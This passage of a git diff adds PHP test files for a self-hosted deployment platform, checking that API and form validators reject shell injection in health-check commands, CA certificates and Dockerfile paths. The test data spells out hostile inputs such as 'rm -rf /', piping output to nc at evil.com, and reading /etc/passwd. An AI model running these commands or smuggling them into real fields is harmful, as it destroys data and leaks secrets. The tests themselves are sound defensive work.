'Bearer '.$token->plainTextToken, + 'Content-Type' => 'application/json', + ])->postJson('/api/v1/servers', [ + 'name' => 'Test Server', + 'ip' => '1.2.3.4', + 'private_key_uuid' => 'fake-uuid', + ]); + + $response->assertStatus(403); + }); +}); diff --git a/tests/Feature/ApplicationHealthCheckApiTest.php b/tests/Feature/ApplicationHealthCheckApiTest.php new file mode 100644 index 000000000..8ccb7c639 --- /dev/null +++ b/tests/Feature/ApplicationHealthCheckApiTest.php @@ -0,0 +1,120 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + session(['currentTeam' => $this->team]); + + $this->token = $this->user->createToken('test-token', ['*']); + $this->bearerToken = $this->token->plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + + StandaloneDocker::withoutEvents(function () { + $this->destination = StandaloneDocker::firstOrCreate( + ['server_id' => $this->server->id, 'network' => 'coolify'], + ['uuid' => (string) new Cuid2, 'name' => 'test-docker'] + ); + }); + + $this->project = Project::create([ + 'uuid' => (string) new Cuid2, + 'name' => 'test-project', + 'team_id' => $this->team->id, + ]); + + // Project boot event auto-creates a 'production' environment + $this->environment = $this->project->environments()->first(); + + $this->application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); +}); + +function healthCheckAuthHeaders($bearerToken): array +{ + return [ + 'Authorization' => 'Bearer '.$bearerToken, + 'Content-Type' => 'application/json', + ]; +} + +describe('PATCH /api/v1/applications/{uuid} health check fields', function () { + test('can update health_check_type to cmd with a command', function () { + $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$this->application->uuid}", [ + 'health_check_type' => 'cmd', + 'health_check_command' => 'pg_isready -U postgres', + ]); + + $response->assertOk(); + + $this->application->refresh(); + expect($this->application->health_check_type)->toBe('cmd'); + expect($this->application->health_check_command)->toBe('pg_isready -U postgres'); + }); + + test('can update health_check_type back to http', function () { + $this->application->update([ + 'health_check_type' => 'cmd', + 'health_check_command' => 'redis-cli ping', + ]); + + $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$this->application->uuid}", [ + 'health_check_type' => 'http', + 'health_check_command' => null, + ]); + + $response->assertOk(); + + $this->application->refresh(); + expect($this->application->health_check_type)->toBe('http'); + expect($this->application->health_check_command)->toBeNull(); + }); + + test('rejects invalid health_check_type', function () { + $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$this->application->uuid}", [ + 'health_check_type' => 'exec', + ]); + + $response->assertStatus(422); + }); + + test('rejects health_check_command with shell operators', function () { + $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$this->application->uuid}", [ + 'health_check_type' => 'cmd', + 'health_check_command' => 'pg_isready; rm -rf /', + ]); + + $response->assertStatus(422); + }); + + test('rejects health_check_command over 1000 characters', function () { + $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$this->application->uuid}", [ + 'health_check_type' => 'cmd', + 'health_check_command' => str_repeat('a', 1001), + ]); + + $response->assertStatus(422); + }); +}); diff --git a/tests/Feature/CaCertificateCommandInjectionTest.php b/tests/Feature/CaCertificateCommandInjectionTest.php new file mode 100644 index 000000000..fffa28d6a --- /dev/null +++ b/tests/Feature/CaCertificateCommandInjectionTest.php @@ -0,0 +1,93 @@ +user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->user->teams()->attach($this->team, ['role' => 'owner']); + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); + + $this->server = Server::factory()->create([ + 'team_id' => $this->team->id, + ]); +}); + +function generateSelfSignedCert(): string +{ + $key = openssl_pkey_new(['private_key_bits' => 2048]); + $csr = openssl_csr_new(['CN' => 'Test CA'], $key); + $cert = openssl_csr_sign($csr, null, $key, 365); + openssl_x509_export($cert, $certPem); + + return $certPem; +} + +test('saveCaCertificate sanitizes injected commands after certificate marker', function () { + $validCert = generateSelfSignedCert(); + + $caCert = SslCertificate::create([ + 'server_id' => $this->server->id, + 'is_ca_certificate' => true, + 'ssl_certificate' => $validCert, + 'ssl_private_key' => 'test-key', + 'common_name' => 'Coolify CA Certificate', + 'valid_until' => now()->addYears(10), + ]); + + // Inject shell command after valid certificate + $maliciousContent = $validCert."' ; id > /tmp/pwned ; echo '"; + + Livewire::test(Show::class, ['server_uuid' => $this->server->uuid]) + ->set('certificateContent', $maliciousContent) + ->call('saveCaCertificate') + ->assertDispatched('success'); + + // After save, the certificate should be the clean re-exported PEM, not the malicious input + $caCert->refresh(); + expect($caCert->ssl_certificate)->not->toContain('/tmp/pwned'); + expect($caCert->ssl_certificate)->not->toContain('; id'); + expect($caCert->ssl_certificate)->toContain('-----BEGIN CERTIFICATE-----'); + expect($caCert->ssl_certificate)->toEndWith("-----END CERTIFICATE-----\n"); +}); + +test('saveCaCertificate rejects completely invalid certificate', function () { + SslCertificate::create([ + 'server_id' => $this->server->id, + 'is_ca_certificate' => true, + 'ssl_certificate' => 'placeholder', + 'ssl_private_key' => 'test-key', + 'common_name' => 'Coolify CA Certificate', + 'valid_until' => now()->addYears(10), + ]); + + Livewire::test(Show::class, ['server_uuid' => $this->server->uuid]) + ->set('certificateContent', "not-a-cert'; rm -rf /; echo '") + ->call('saveCaCertificate') + ->assertDispatched('error'); +}); + +test('saveCaCertificate rejects empty certificate content', function () { + SslCertificate::create([ + 'server_id' => $this->server->id, + 'is_ca_certificate' => true, + 'ssl_certificate' => 'placeholder', + 'ssl_private_key' => 'test-key', + 'common_name' => 'Coolify CA Certificate', + 'valid_until' => now()->addYears(10), + ]); + + Livewire::test(Show::class, ['server_uuid' => $this->server->uuid]) + ->set('certificateContent', '') + ->call('saveCaCertificate') + ->assertDispatched('error'); +}); diff --git a/tests/Feature/CleanupUnreachableServersTest.php b/tests/Feature/CleanupUnreachableServersTest.php new file mode 100644 index 000000000..edfd0511c --- /dev/null +++ b/tests/Feature/CleanupUnreachableServersTest.php @@ -0,0 +1,73 @@ += 3 after 7 days', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'unreachable_count' => 50, + 'unreachable_notification_sent' => true, + 'updated_at' => now()->subDays(8), + ]); + + $this->artisan('cleanup:unreachable-servers')->assertSuccessful(); + + $server->refresh(); + expect($server->ip)->toBe('1.2.3.4'); +}); + +it('does not clean up servers with unreachable_count less than 3', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'unreachable_count' => 2, + 'unreachable_notification_sent' => true, + 'updated_at' => now()->subDays(8), + ]); + + $originalIp = $server->ip; + + $this->artisan('cleanup:unreachable-servers')->assertSuccessful(); + + $server->refresh(); + expect($server->ip)->toBe($originalIp); +}); + +it('does not clean up servers updated within 7 days', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'unreachable_count' => 10, + 'unreachable_notification_sent' => true, + 'updated_at' => now()->subDays(3), + ]); + + $originalIp = $server->ip; + + $this->artisan('cleanup:unreachable-servers')->assertSuccessful(); + + $server->refresh(); + expect($server->ip)->toBe($originalIp); +}); + +it('does not clean up servers without notification sent', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'unreachable_count' => 10, + 'unreachable_notification_sent' => false, + 'updated_at' => now()->subDays(8), + ]); + + $originalIp = $server->ip; + + $this->artisan('cleanup:unreachable-servers')->assertSuccessful(); + + $server->refresh(); + expect($server->ip)->toBe($originalIp); +}); diff --git a/tests/Feature/CmdHealthCheckValidationTest.php b/tests/Feature/CmdHealthCheckValidationTest.php new file mode 100644 index 000000000..038f3000e --- /dev/null +++ b/tests/Feature/CmdHealthCheckValidationTest.php @@ -0,0 +1,90 @@ + str_repeat('a', 1001)], + ['healthCheckCommand' => $commandRules] + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('accepts healthCheckCommand under 1000 characters', function () use ($commandRules) { + $validator = Validator::make( + ['healthCheckCommand' => 'pg_isready -U postgres'], + ['healthCheckCommand' => $commandRules] + ); + + expect($validator->fails())->toBeFalse(); +}); + +it('accepts null healthCheckCommand', function () use ($commandRules) { + $validator = Validator::make( + ['healthCheckCommand' => null], + ['healthCheckCommand' => $commandRules] + ); + + expect($validator->fails())->toBeFalse(); +}); + +it('accepts simple commands', function ($command) use ($commandRules) { + $validator = Validator::make( + ['healthCheckCommand' => $command], + ['healthCheckCommand' => $commandRules] + ); + + expect($validator->fails())->toBeFalse(); +})->with([ + 'pg_isready -U postgres', + 'redis-cli ping', + 'curl -f http://localhost:8080/health', + 'wget -q -O- http://localhost/health', + 'mysqladmin ping -h 127.0.0.1', +]); + +it('rejects commands with shell operators', function ($command) use ($commandRules) { + $validator = Validator::make( + ['healthCheckCommand' => $command], + ['healthCheckCommand' => $commandRules] + ); + + expect($validator->fails())->toBeTrue(); +})->with([ + 'pg_isready; rm -rf /', + 'redis-cli ping | nc evil.com 1234', + 'curl http://localhost && curl http://evil.com', + 'echo $(whoami)', + 'cat /etc/passwd > /tmp/out', + 'curl `whoami`.evil.com', + 'cmd & background', + 'echo "hello"', + "echo 'hello'", + 'test < /etc/passwd', + 'bash -c {echo,pwned}', + 'curl http://evil.com#comment', + 'echo $HOME', + "cmd\twith\ttabs", + "cmd\nwith\nnewlines", +]); + +it('rejects invalid healthCheckType', function () { + $validator = Validator::make( + ['healthCheckType' => 'exec'], + ['healthCheckType' => 'string|in:http,cmd'] + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('accepts valid healthCheckType values', function ($type) { + $validator = Validator::make( + ['healthCheckType' => $type], + ['healthCheckType' => 'string|in:http,cmd'] + ); + + expect($validator->fails())->toBeFalse(); +})->with(['http', 'cmd']); diff --git a/tests/Feature/CommandInjectionSecurityTest.php b/tests/Feature/CommandInjectionSecurityTest.php new file mode 100644 index 000000000..47e9f3b35 --- /dev/null +++ b/tests/Feature/CommandInjectionSecurityTest.php @@ -0,0 +1,276 @@ +getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, '/Dockerfile; echo pwned', 'dockerfile_location')) + ->toThrow(RuntimeException::class, 'contains forbidden characters'); + }); + + test('rejects backtick injection', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, '/Dockerfile`whoami`', 'dockerfile_location')) + ->toThrow(RuntimeException::class, 'contains forbidden characters'); + }); + + test('rejects dollar sign variable expansion', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, '/Dockerfile$(whoami)', 'dockerfile_location')) + ->toThrow(RuntimeException::class, 'contains forbidden characters'); + }); + + test('rejects pipe injection', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, '/Dockerfile | cat /etc/passwd', 'dockerfile_location')) + ->toThrow(RuntimeException::class, 'contains forbidden characters'); + }); + + test('rejects ampersand injection', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, '/Dockerfile && env', 'dockerfile_location')) + ->toThrow(RuntimeException::class, 'contains forbidden characters'); + }); + + test('rejects path traversal', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, '/../../../etc/passwd', 'dockerfile_location')) + ->toThrow(RuntimeException::class, 'path traversal detected'); + }); + + test('allows valid simple path', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect($method->invoke($instance, '/Dockerfile', 'dockerfile_location')) + ->toBe('/Dockerfile'); + }); + + test('allows valid nested path with dots and hyphens', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect($method->invoke($instance, '/docker/Dockerfile.prod', 'dockerfile_location')) + ->toBe('/docker/Dockerfile.prod'); + }); + + test('allows valid compose file path', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect($method->invoke($instance, '/docker-compose.prod.yml', 'docker_compose_location')) + ->toBe('/docker-compose.prod.yml'); + }); +}); + +describe('API validation rules for path fields', function () { + test('dockerfile_location validation rejects shell metacharacters', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['dockerfile_location' => '/Dockerfile; echo pwned; #'], + ['dockerfile_location' => $rules['dockerfile_location']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('dockerfile_location validation allows valid paths', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['dockerfile_location' => '/docker/Dockerfile.prod'], + ['dockerfile_location' => $rules['dockerfile_location']] + ); + + expect($validator->fails())->toBeFalse(); + }); + + test('docker_compose_location validation rejects shell metacharacters', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_location' => '/docker-compose.yml; env; #'], + ['docker_compose_location' => $rules['docker_compose_location']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('docker_compose_location validation allows valid paths', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_location' => '/docker/docker-compose.prod.yml'], + ['docker_compose_location' => $rules['docker_compose_location']] + ); + + expect($validator->fails())->toBeFalse(); + }); +}); + +describe('sharedDataApplications rules survive array_merge in controller', function () { + test('docker_compose_location safe regex is not overridden by local rules', function () { + $sharedRules = sharedDataApplications(); + + // Simulate what ApplicationsController does: array_merge(shared, local) + // After our fix, local no longer contains docker_compose_location, + // so the shared regex rule must survive + $localRules = [ + 'name' => 'string|max:255', + 'docker_compose_domains' => 'array|nullable', + ]; + $merged = array_merge($sharedRules, $localRules); + + // The merged rules for docker_compose_location should be the safe regex, not just 'string' + expect($merged['docker_compose_location'])->toBeArray(); + expect($merged['docker_compose_location'])->toContain('regex:/^\/[a-zA-Z0-9._\-\/]+$/'); + }); +}); + +describe('path fields require leading slash', function () { + test('dockerfile_location without leading slash is rejected by API rules', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['dockerfile_location' => 'Dockerfile'], + ['dockerfile_location' => $rules['dockerfile_location']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('docker_compose_location without leading slash is rejected by API rules', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_location' => 'docker-compose.yaml'], + ['docker_compose_location' => $rules['docker_compose_location']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('deployment job rejects path without leading slash', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, 'docker-compose.yaml', 'docker_compose_location')) + ->toThrow(RuntimeException::class, 'contains forbidden characters'); + }); +}); + +describe('API route middleware for deploy actions', function () { + test('application start route requires deploy ability', function () { + $routes = app('router')->getRoutes(); + $route = $routes->getByAction('App\Http\Controllers\Api\ApplicationsController@action_deploy'); + + expect($route)->not->toBeNull(); + $middleware = $route->gatherMiddleware(); + expect($middleware)->toContain('api.ability:deploy'); + expect($middleware)->not->toContain('api.ability:write'); + }); + + test('application restart route requires deploy ability', function () { + $routes = app('router')->getRoutes(); + $matchedRoute = null; + foreach ($routes as $route) { + if (str_contains($route->uri(), 'applications') && str_contains($route->uri(), 'restart')) { + $matchedRoute = $route; + break; + } + } + + expect($matchedRoute)->not->toBeNull(); + $middleware = $matchedRoute->gatherMiddleware(); + expect($middleware)->toContain('api.ability:deploy'); + }); + + test('application stop route requires deploy ability', function () { + $routes = app('router')->getRoutes(); + $matchedRoute = null; + foreach ($routes as $route) { + if (str_contains($route->uri(), 'applications') && str_contains($route->uri(), 'stop')) { + $matchedRoute = $route; + break; + } + } + + expect($matchedRoute)->not->toBeNull(); + $middleware = $matchedRoute->gatherMiddleware(); + expect($middleware)->toContain('api.ability:deploy'); + }); + + test('database start route requires deploy ability', function () { + $routes = app('router')->getRoutes(); + $matchedRoute = null; + foreach ($routes as $route) { + if (str_contains($route->uri(), 'databases') && str_contains($route->uri(), 'start')) { + $matchedRoute = $route; + break; + } + } + + expect($matchedRoute)->not->toBeNull(); + $middleware = $matchedRoute->gatherMiddleware(); + expect($middleware)->toContain('api.ability:deploy'); + }); + + test('service start route requires deploy ability', function () { + $routes = app('router')->getRoutes(); + $matchedRoute = null; + foreach ($routes as $route) { + if (str_contains($route->uri(), 'services') && str_contains($route->uri(), 'start')) { + $matchedRoute = $route; + break; + } + } + + expect($matchedRoute)->not->toBeNull(); + $middleware = $matchedRoute->gatherMiddleware(); + expect($middleware)->toContain('api.ability:deploy'); + }); +}); diff --git a/tests/Feature/DomainsByServerApiTest.php b/tests/Feature/DomainsByServerApiTest.php new file mode 100644 index 000000000..1e799bec5 --- /dev/null +++ b/tests/Feature/DomainsByServerApiTest.php @@ -0,0 +1,80 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $this->token = $this->user->createToken('test-token', ['*'], $this->team->id); + $this->bearerToken = $this->token->plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); +}); + +function authHeaders(): array +{ + return [ + 'Authorization' => 'Bearer '.test()->bearerToken, + ]; +} + +test('returns domains for own team application via uuid query param', function () { + $application = Application::factory()->create([ + 'fqdn' => 'https://my-app.example.com', + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders(authHeaders()) + ->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid={$application->uuid}"); + + $response->assertOk(); + $response->assertJsonFragment(['my-app.example.com']); +}); + +test('returns 404 when application uuid belongs to another team', function () { + $otherTeam = Team::factory()->create(); + $otherUser = User::factory()->create(); + $otherTeam->members()->attach($otherUser->id, ['role' => 'owner']); + + $otherServer = Server::factory()->create(['team_id' => $otherTeam->id]); + $otherDestination = StandaloneDocker::factory()->create(['server_id' => $otherServer->id]); + $otherProject = Project::factory()->create(['team_id' => $otherTeam->id]); + $otherEnvironment = Environment::factory()->create(['project_id' => $otherProject->id]); + + $otherApplication = Application::factory()->create([ + 'fqdn' => 'https://secret-app.internal.company.com', + 'environment_id' => $otherEnvironment->id, + 'destination_id' => $otherDestination->id, + 'destination_type' => $otherDestination->getMorphClass(), + ]); + + $response = $this->withHeaders(authHeaders()) + ->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid={$otherApplication->uuid}"); + + $response->assertNotFound(); + $response->assertJson(['message' => 'Application not found.']); +}); + +test('returns 404 for nonexistent application uuid', function () { + $response = $this->withHeaders(authHeaders()) + ->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid=nonexistent-uuid"); + + $response->assertNotFound(); + $response->assertJson(['message' => 'Application not found.']); +}); diff --git a/tests/Feature/EnvironmentVariableCommentTest.php b/tests/Feature/EnvironmentVariableCommentTest.php new file mode 100644 index 000000000..e7f9a07fb --- /dev/null +++ b/tests/Feature/EnvironmentVariableCommentTest.php @@ -0,0 +1,283 @@ +user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->team->members()->attach($this->user, ['role' => 'owner']); + $this->application = Application::factory()->create([ + 'team_id' => $this->team->id, + ]); + + $this->actingAs($this->user); +}); + +test('environment variable can be created with comment', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'comment' => 'This is a test environment variable', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->comment)->toBe('This is a test environment variable'); + expect($env->key)->toBe('TEST_VAR'); + expect($env->value)->toBe('test_value'); +}); + +test('environment variable comment is optional', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->comment)->toBeNull(); + expect($env->key)->toBe('TEST_VAR'); +}); + +test('environment variable comment can be updated', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'comment' => 'Initial comment', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + $env->comment = 'Updated comment'; + $env->save(); + + $env->refresh(); + expect($env->comment)->toBe('Updated comment'); +}); + +test('environment variable comment is preserved when updating value', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'initial_value', + 'comment' => 'Important variable for testing', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + $env->value = 'new_value'; + $env->save(); + + $env->refresh(); + expect($env->value)->toBe('new_value'); + expect($env->comment)->toBe('Important variable for testing'); +}); + +test('environment variable comment is copied to preview environment', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'comment' => 'Test comment', + 'is_preview' => false, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // The model's created() event listener automatically creates a preview version + $previewEnv = EnvironmentVariable::where('key', 'TEST_VAR') + ->where('resourceable_id', $this->application->id) + ->where('is_preview', true) + ->first(); + + expect($previewEnv)->not->toBeNull(); + expect($previewEnv->comment)->toBe('Test comment'); +}); + +test('parseEnvFormatToArray preserves values without inline comments', function () { + $input = "KEY1=value1\nKEY2=value2"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value1', 'comment' => null], + 'KEY2' => ['value' => 'value2', 'comment' => null], + ]); +}); + +test('developer view format does not break with comment-like values', function () { + // Values that contain # but shouldn't be treated as comments when quoted + $env1 = EnvironmentVariable::create([ + 'key' => 'HASH_VAR', + 'value' => 'value_with_#_in_it', + 'comment' => 'Contains hash symbol', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env1->value)->toBe('value_with_#_in_it'); + expect($env1->comment)->toBe('Contains hash symbol'); +}); + +test('environment variable comment can store up to 256 characters', function () { + $comment = str_repeat('a', 256); + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'comment' => $comment, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->comment)->toBe($comment); + expect(strlen($env->comment))->toBe(256); +}); + +test('environment variable comment cannot exceed 256 characters via Livewire', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + $longComment = str_repeat('a', 257); + + Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\Show::class, ['env' => $env, 'type' => 'application']) + ->set('comment', $longComment) + ->call('submit') + ->assertHasErrors(['comment' => 'max']); +}); + +test('bulk update preserves existing comments when no inline comment provided', function () { + // Create existing variable with a manually-entered comment + $env = EnvironmentVariable::create([ + 'key' => 'DATABASE_URL', + 'value' => 'postgres://old-host', + 'comment' => 'Production database', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // User switches to Developer view and pastes new value without inline comment + $bulkContent = "DATABASE_URL=postgres://new-host\nOTHER_VAR=value"; + + Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [ + 'resource' => $this->application, + 'type' => 'application', + ]) + ->set('variables', $bulkContent) + ->call('submit'); + + // Refresh the environment variable + $env->refresh(); + + // The value should be updated + expect($env->value)->toBe('postgres://new-host'); + + // The manually-entered comment should be PRESERVED + expect($env->comment)->toBe('Production database'); +}); + +test('bulk update overwrites existing comments when inline comment provided', function () { + // Create existing variable with a comment + $env = EnvironmentVariable::create([ + 'key' => 'API_KEY', + 'value' => 'old-key', + 'comment' => 'Old comment', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // User pastes new value WITH inline comment + $bulkContent = 'API_KEY=new-key #Updated production key'; + + Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [ + 'resource' => $this->application, + 'type' => 'application', + ]) + ->set('variables', $bulkContent) + ->call('submit'); + + // Refresh the environment variable + $env->refresh(); + + // The value should be updated + expect($env->value)->toBe('new-key'); + + // The comment should be OVERWRITTEN with the inline comment + expect($env->comment)->toBe('Updated production key'); +}); + +test('bulk update handles mixed inline and stored comments correctly', function () { + // Create two variables with comments + $env1 = EnvironmentVariable::create([ + 'key' => 'VAR_WITH_COMMENT', + 'value' => 'value1', + 'comment' => 'Existing comment 1', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + $env2 = EnvironmentVariable::create([ + 'key' => 'VAR_WITHOUT_COMMENT', + 'value' => 'value2', + 'comment' => 'Existing comment 2', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // Bulk paste: one with inline comment, one without + $bulkContent = "VAR_WITH_COMMENT=new_value1 #New inline comment\nVAR_WITHOUT_COMMENT=new_value2"; + + Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [ + 'resource' => $this->application, + 'type' => 'application', + ]) + ->set('variables', $bulkContent) + ->call('submit'); + + // Refresh both variables + $env1->refresh(); + $env2->refresh(); + + // First variable: comment should be overwritten with inline comment + expect($env1->value)->toBe('new_value1'); + expect($env1->comment)->toBe('New inline comment'); + + // Second variable: comment should be preserved + expect($env2->value)->toBe('new_value2'); + expect($env2->comment)->toBe('Existing comment 2'); +}); + +test('bulk update creates new variables with inline comments', function () { + // Bulk paste creates new variables, some with inline comments + $bulkContent = "NEW_VAR1=value1 #Comment for var1\nNEW_VAR2=value2\nNEW_VAR3=value3 #Comment for var3"; + + Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [ + 'resource' => $this->application, + 'type' => 'application', + ]) + ->set('variables', $bulkContent) + ->call('submit'); + + // Check that variables were created with correct comments + $var1 = EnvironmentVariable::where('key', 'NEW_VAR1') + ->where('resourceable_id', $this->application->id) + ->first(); + $var2 = EnvironmentVariable::where('key', 'NEW_VAR2') + ->where('resourceable_id', $this->application->id) + ->first(); + $var3 = EnvironmentVariable::where('key', 'NEW_VAR3') + ->where('resourceable_id', $this->application->id) + ->first(); + + expect($var1->value)->toBe('value1'); + expect($var1->comment)->toBe('Comment for var1'); + + expect($var2->value)->toBe('value2'); + expect($var2->comment)->toBeNull(); + + expect($var3->value)->toBe('value3'); + expect($var3->comment)->toBe('Comment for var3'); +}); diff --git a/tests/Feature/EnvironmentVariableMassAssignmentTest.php b/tests/Feature/EnvironmentVariableMassAssignmentTest.php new file mode 100644 index 000000000..f2650fdc7 --- /dev/null +++ b/tests/Feature/EnvironmentVariableMassAssignmentTest.php @@ -0,0 +1,217 @@ +user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->team->members()->attach($this->user, ['role' => 'owner']); + $this->application = Application::factory()->create(); + + $this->actingAs($this->user); +}); + +test('all fillable fields can be mass assigned', function () { + $data = [ + 'key' => 'TEST_KEY', + 'value' => 'test_value', + 'comment' => 'Test comment', + 'is_literal' => true, + 'is_multiline' => true, + 'is_preview' => false, + 'is_runtime' => true, + 'is_buildtime' => false, + 'is_shown_once' => false, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]; + + $env = EnvironmentVariable::create($data); + + expect($env->key)->toBe('TEST_KEY'); + expect($env->value)->toBe('test_value'); + expect($env->comment)->toBe('Test comment'); + expect($env->is_literal)->toBeTrue(); + expect($env->is_multiline)->toBeTrue(); + expect($env->is_preview)->toBeFalse(); + expect($env->is_runtime)->toBeTrue(); + expect($env->is_buildtime)->toBeFalse(); + expect($env->is_shown_once)->toBeFalse(); + expect($env->resourceable_type)->toBe(Application::class); + expect($env->resourceable_id)->toBe($this->application->id); +}); + +test('comment field can be mass assigned with null', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'comment' => null, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->comment)->toBeNull(); +}); + +test('comment field can be mass assigned with empty string', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'comment' => '', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->comment)->toBe(''); +}); + +test('comment field can be mass assigned with long text', function () { + $comment = str_repeat('This is a long comment. ', 10); + + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'comment' => $comment, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->comment)->toBe($comment); + expect(strlen($env->comment))->toBe(strlen($comment)); +}); + +test('all boolean fields default correctly when not provided', function () { + $env = EnvironmentVariable::create([ + 'key' => 